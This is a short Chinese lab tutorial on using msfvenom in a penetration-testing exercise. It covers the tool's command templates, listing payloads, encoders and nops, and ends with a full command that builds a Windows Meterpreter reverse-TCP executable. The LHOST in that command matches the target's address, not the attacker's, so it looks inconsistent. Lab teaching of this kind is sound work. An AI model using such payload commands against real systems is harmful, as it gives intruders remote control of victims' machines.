Msfvenom生成木马实验

原创已于 2025-08-08 09:44:07 修改 · 1.7k 阅读

29 ·

CC 4.0 BY-SA版权

文章标签：

#网络 #网络安全

于 2024-04-24 09:45:11 首次发布

本文详细介绍了如何使用msfvenom工具在渗透测试中生成木马，包括获取网络信息、选择payload和编码方式，以及在Metasploit框架中的实际操作步骤。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

E025-渗透测试常用工具-使用msfvenom生成木马进行渗透测试

第一步，打开网络拓扑，点击启动选项，启动实验虚拟机

第二步，使用ifconfig和ipconfig命令分别获取渗透机和靶机的IP地址，使用ping命令进行网络连通性测试，确保网络可达

渗透机ip地址172.16.1.10

靶机ip地址172.16.1.12

第三步，是在使用meterpreter攻击载荷模块之前，需要先制定渗透攻击模块，我们以ms08_067漏洞为例进行渗透测试，在进行实验之前首先使用命令msfvenom –h 来查看msfvenom参数的详解 msfvenom生成payload的常见格式为以下四种类型

简单型：msfvenom –p <payload> <payload options> -f <format> -o <path>

编码处理型：msfvenom -p <payload> <payload options> -a <arch> --platform <platform> -e <encoder option> -i <encoder times> -b <bad-chars> -n <nopsled> -f <format> -o <path>

注入exe型+编码：msfvenom -p <payload> <payload options> -a <arch> --plateform <platform> -e <encoder option> -i <encoder times> -x <template> -k <keep> -f <format> -o <path>

拼接型：msfvenom -c <shellcode> -p <payload> <payload options> -a <arch> --platform <platform> -e <encoder option> -i <encoder times> -f <format> -o <path>

其中-o输出的参数可以用“>”号代替，-f指定格式参数可以用单个大写字母代替：

例如：X 代表 -f exe，还有其他的案例：[H]arp、[P]erl、Rub[Y]、[R]aw、[J]s、e[X]e、[D]ll、[V]BA、[W]ar、Pytho[N]

第四步，使用命令msfvenom –l payloads查看msf中所有可用载荷（payload），根据操作系统可分为windows/linux/osx/andriod，根据编程语言可以分为python/php等

下面列出的载荷信息是所有可以使用的攻击载荷

其中最为常见的paylaod为windows平台下的，将近215个

第五步，使用命令msfvenom –l encoders查看一下编码方式，其中excellent级的编码方式共有两个，分别为 cmd/powershell_base64、x86/shikata_ga_nai

第六步，使用命令msfvenom –l nops 来查看nops（空字段）选项第七步，使用命令msfvenom –-help-platforms查看当前支持的平台

然后使用命令msfvenom –-help-formats来查看可以生产的格式例如：本次使用msfvenom生成简单的木马，使用命令msfvenom-p windows/meterpreter/reverse_tcp LHOST=172.16.1.12 LPORT=8088 -f exe -o payload.exe生产反弹回meterpreter会话的payload